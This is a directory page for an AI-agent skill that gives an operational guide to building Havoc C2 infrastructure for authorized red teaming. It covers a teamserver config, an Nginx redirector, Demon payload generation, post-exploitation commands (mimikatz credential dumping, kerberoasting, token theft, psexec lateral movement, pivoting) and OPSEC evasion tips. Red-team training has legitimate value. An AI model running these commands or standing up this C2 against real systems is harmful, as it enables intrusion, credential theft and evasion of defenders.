[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D71XX4BXSWBSFNWMP4Q3KY":3,"skill-same:01M7D71XX4BXSWBSFNWMP4Q3KY":114},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":6,"ownerHtmlUrl":62,"ownerBlogUrl":63,"ownerDescription":64,"updatedAt":65,"install":66,"resources":79},"01M7D71XX4BXSWBSFNWMP4Q3KY","building-red-team-c2-infrastructure-with-havoc",null,"Deploy and configure the Havoc C2 framework (teamserver, HTTPS\u002FHTTP\u002FSMB listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and OPSEC-hardened infrastructure for authorized red team operations. Use when standing up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation engagement.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: building-red-team-c2-infrastructure-with-havoc\ndescription: Deploy and configure the Havoc C2 framework (teamserver, HTTPS\u002FHTTP\u002FSMB\n  listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and\n  OPSEC-hardened infrastructure for authorized red team operations. Use when standing\n  up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation\n  engagement.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- havoc-c2\n- command-and-control\n- red-team-infrastructure\n- post-exploitation\n- adversary-emulation\n- demon-agent\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_ai_rmf:\n- GOVERN-1.1\n- MEASURE-2.7\n- MANAGE-3.1\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Certificate Analysis\n- Application Protocol Command Analysis\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1071.001\n- T1573.002\n- T1583.001\n- T1090.002\n- T1105\n- T1055\n---\n\n# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n","# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":39,"description":7,"nist_ai_rmf":40,"mitre_attack":44,"d3fend_techniques":51},[26,27,28,29,30,31],"havoc-c2","command-and-control","red-team-infrastructure","post-exploitation","adversary-emulation","demon-agent","mahipal","cybersecurity","1.0",[36,37,38],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[41,42,43],"GOVERN-1.1","MEASURE-2.7","MANAGE-3.1",[45,46,47,48,49,50],"T1071.001","T1573.002","T1583.001","T1090.002","T1105","T1055",[52,53,54,55,56],"File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":67,"prompt":77,"zipAvailable":78},[68,71,74],{"tool":69,"command":70},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill building-red-team-c2-infrastructure-with-havoc",{"tool":72,"command":73},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill building-red-team-c2-infrastructure-with-havoc",{"tool":75,"command":76},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill building-red-team-c2-infrastructure-with-havoc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",true,[80,86,90,96,100,104,110],{"path":81,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"assets\u002Ftemplate.md","ASSET","资产文件",3873,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fassets\u002Ftemplate.md",{"path":87,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":89,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":91,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"references\u002Fapi-reference.md","REFERENCE","参考文档",1869,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fapi-reference.md",{"path":97,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fstandards.md",2491,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fstandards.md",{"path":101,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fworkflows.md",8168,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fworkflows.md",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fagent.py","SCRIPT","脚本",6237,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fagent.py",{"path":111,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":112,"sourceHtmlUrl":113},"scripts\u002Fprocess.py",12571,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fprocess.py",[115,123,131,140,147,154],{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":119,"sourceHtmlUrl":120,"categories":121,"keywords":122,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":127,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":132,"name":133,"nameZh":6,"description":134,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":135,"licenseFileUrl":136,"sourceHtmlUrl":137,"categories":138,"keywords":139,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":141,"name":142,"nameZh":6,"description":143,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":135,"licenseFileUrl":6,"sourceHtmlUrl":144,"categories":145,"keywords":146,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, 